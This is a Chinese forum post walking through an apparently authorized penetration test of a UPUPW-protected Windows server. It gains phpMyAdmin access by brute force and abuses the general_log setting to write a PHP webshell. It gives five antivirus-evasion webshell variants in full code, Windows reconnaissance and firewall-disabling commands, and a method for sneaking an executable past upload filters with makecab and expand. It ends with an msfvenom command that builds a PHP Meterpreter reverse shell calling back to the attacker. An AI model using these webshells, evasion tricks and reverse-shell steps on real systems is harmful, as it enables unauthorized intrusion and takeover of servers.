一次过UPUPW服务器安全检测拿Meterpreter Shell经历

aj545302905   ·   发表于 2020-08-20 10:28:34   ·   技术文章

在这里声明一下,大家无论做什么都要遵守中华人民共和国网络安全法,在没有得到授权的情况下是不能这样渗透的

今天授权项目上遇到了一个站点,站点服务器为UPUPW安全版,然后成功绕过拦截拿下服务器shell。过程比较有简单,在此分享给大家。

前面的就不多讲了,通过IP查询,后台扫描,弱密码以及爆破进入了phpMyAdmin页面。原以为会很轻松的拿到Webshell,没想到在获取权限的过程中遇到了点小插曲。

注:在此之前,已获得了网站的根目录:D:/xxxxx/xxxx/htdocs

所以一开始我就奔着解析日志去的:

去”变量”界面找到这两个函数:

general log; general log file

找到这两个函数,将general log 设置为ON;将general log file改到网站根目录下,重命名为zzz.php

然后去尝试访问一下,看看我们修改的效果如何,可看到日志已成功被放到网站根目录下,并且可以成功访问。

下面就简单啦,直接执行sql语句select ‘<?php eval($_REQUEST[8]);?>’

这样我们的sql语句就会被记录到zzz.php日志当中,而zzz.php会被解析成我们的小马。但是在访问的时候却遭了无情的拦截。

找不到就是被删了呗(404),说明我们的木马被检测干掉了。那么我们该考虑写一些“免杀马”,来绕过检测。

我们回到执行sql语句的界面,发现Load_File函数是开启的,代表我们可以随意上传文件。当然我还是建议大家使用dumpfile去写

免杀一:抽取数组函数法:

<?php
$a=get_defined_functions(); // 返回php所有自定义函数
@$a[internal][841]($_REQUEST[1]); //assert($_REQUEST[1])
?>

意思就是说调用函数组的841键位的值(assert),将其写入11.php中

执行后去访问11.php,我们发现此时11.php没有被杀,我们可以访问的到,但是执行phpinfo();时却没有任何回显。

什么原因呢?很明显也被拦截掉了

于是我又把上面的免杀shell写入了10.txt文件中,看一下是不是有被过滤的字符串,影响了我们shell的运行。

检查了一下发现没问题,既然没有过滤敏感字符,那么就是shell在执行的时候被拦截了,也就是说明我的绕过方式有问题。

于是我又接连使用文件包含法,以及镜姐提供给我的两种免杀方法均已失败告终。

免杀二:文件包含法:(注定是失败的 但我还是想试一下)

因为文件包含法的目的在于解析而不是绕过。

我们起初将第一个免杀马写在根目录下的10.txt中,所以我们重新构造一个php文件,其内容为<?php include(“10.txt”);?>,所被包含的文件均被当成php解析。

执行结果失败,phpinfo();无任何回显。

于是用镜姐提供给我的两种方法尝试去绕拦截

免杀三: 类方法

<?php
class A{
 var $test = "demo";
 var $fun = "assert";
 function __destruct(){
 call_user_func($this->fun,$this->test);
 }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
$test_unser = unserialize($pp);
?>

很明显这是一种类方法,但是缺点就在于里面的反斜杠,我将shell转16进制上传后,并执行phpinfo();发现依旧没有回显,于是又写到99.txt中看看哪里出了问题。

发现我们的反斜杠被转义了,变成了双斜杠,所以后来我又写了一个不带转义符的免杀。

免杀四 :

<?php $p = &apos;pxhxpxixnxfxo&apos;;$p1 = explode(&apos;x&apos;, $p);$p2 = $p1[0] . $p1[1] . $p1[2] . $p1[3]. $p1[4]. $p1[5]. $p1[6]. &apos;()&apos;;var_dump($p2);?>

这种方法到底能不能绕过,我也不太清楚,因为镜姐刚给我的时候我没改好,后来用下面那种方法拿的webshell,又回来慢慢改的,再想验证时 对方已经关闭了load_file函数。

改好后的shell是这样的:

<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#",$poc);
$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_REQUEST[8])
?>

本机执行效果如下:

免杀五:

最后拿到WEBSHELL的是将类方法的免杀简化了一波,去掉转移符等等……呈现出下面的这种效果

<?php class user{function ddd($name){eval($this->name=$name);}}$me=new user;$me->ddd("$_REQUEST[1]");?>

然后连接蚁剑,随机选择一种编码格式,否则连接不上。

进入终端页面,开始简单的数据搜集:

瞅一眼打的补丁

推荐这种方法:
wmic qfe get caption,description,hotfixid,installedon
以为有时候在低权限时,我们无法得到systeminfo回显结果的

运行的进程

可以三管齐下:
tasklist
wmic process list brief
tasklist /V

看一下防火墙配置

netsh firewall show config

试着关一下防火墙

netsh advfirewall set allprofiles state off //2003之后版本
netsh firewall set opmode disable //2003及之前
分不清楚就都执行一遍

看一下开放端口

netstat -ano

WIN10企业版系统,只有一个公网Ip 不在域中 开放的端口我也没仔细去看,大体看了下防火墙配置,和开启的进程 都很无聊,没什么利用的上的

Whoami后给我的是system权限,战斗热情瞬间瓦解……

于是乎我打算上传Msf马,利用反弹给我的Meterpreter Shell来获取更多的操作性,但是目标服务器禁止上传exe程序,奇葩的是连txt都不让上传。

所以我将Kali生成的Msf马复制到本机中,利用Win10自带压缩程序通过cmd指令进行压缩,并将压缩包上传至对方服务器再进行解压,从而执行我们的exe木马

压缩:

将zip上传上去后利用expand进行解压。

注意:expand解压的文件必须是由makecab压缩的才可以,否则解压失败。

**注:后来我将anjian.zip重命名位1233.zip了**

解压出来,cmd执行 特喵的给我报了个错!

“系统无法执行指定的程序“,这是什么鬼?问了下我的”度娘”,原来是服务系统缺少一些插件,一共缺少三个。

没必要在这上面死磕了,尝试将1233.exe重名为1233.php 看看执行效果如何。

依旧是哪个老样子,从而否定利用Msfexe马提权的想法。

既然exe格式的木马不会被执行,那么为何不尝试生成一个Msf的Php马反弹shell试一试呢?

于是返回Kali(真香~)生成PHP木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=暗箭 LPORT=最帅 -f raw -o /root/Desktop/x.php

生成x.php直接上传至目标服务器根目录 没有拦截。

在kali端进行内网穿透和监听:

然后利用浏览器访问目标服务器上的x.php木马

访问成功:

可看到成功得到Msf php反弹shell。

Getuid看一下权限:

到此我们就该收手了!千万不要再往下继续了,什么抓Hash去破解,强开端口,留shift后门啥的都不要去做!!!

我们下次再见喽

用户名金币积分时间理由
奖励系统 100.00 0 2020-09-03 21:09:58 投稿满 10 赞奖励
奖励系统 50.00 0 2020-09-03 21:09:22 投稿满 5 赞奖励
Track-聂风 80.00 0 2020-09-02 16:04:18 等待你的新文章

打赏我,让我更有动力~

2 条回复   |  直到 2020-9-5 | 1934 次浏览

张小翔
发表于 2020-9-3

这么强 天天拿shell

评论列表

  • 加载数据中...

编写评论内容

urfyyyy
发表于 2020-9-5

很强

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.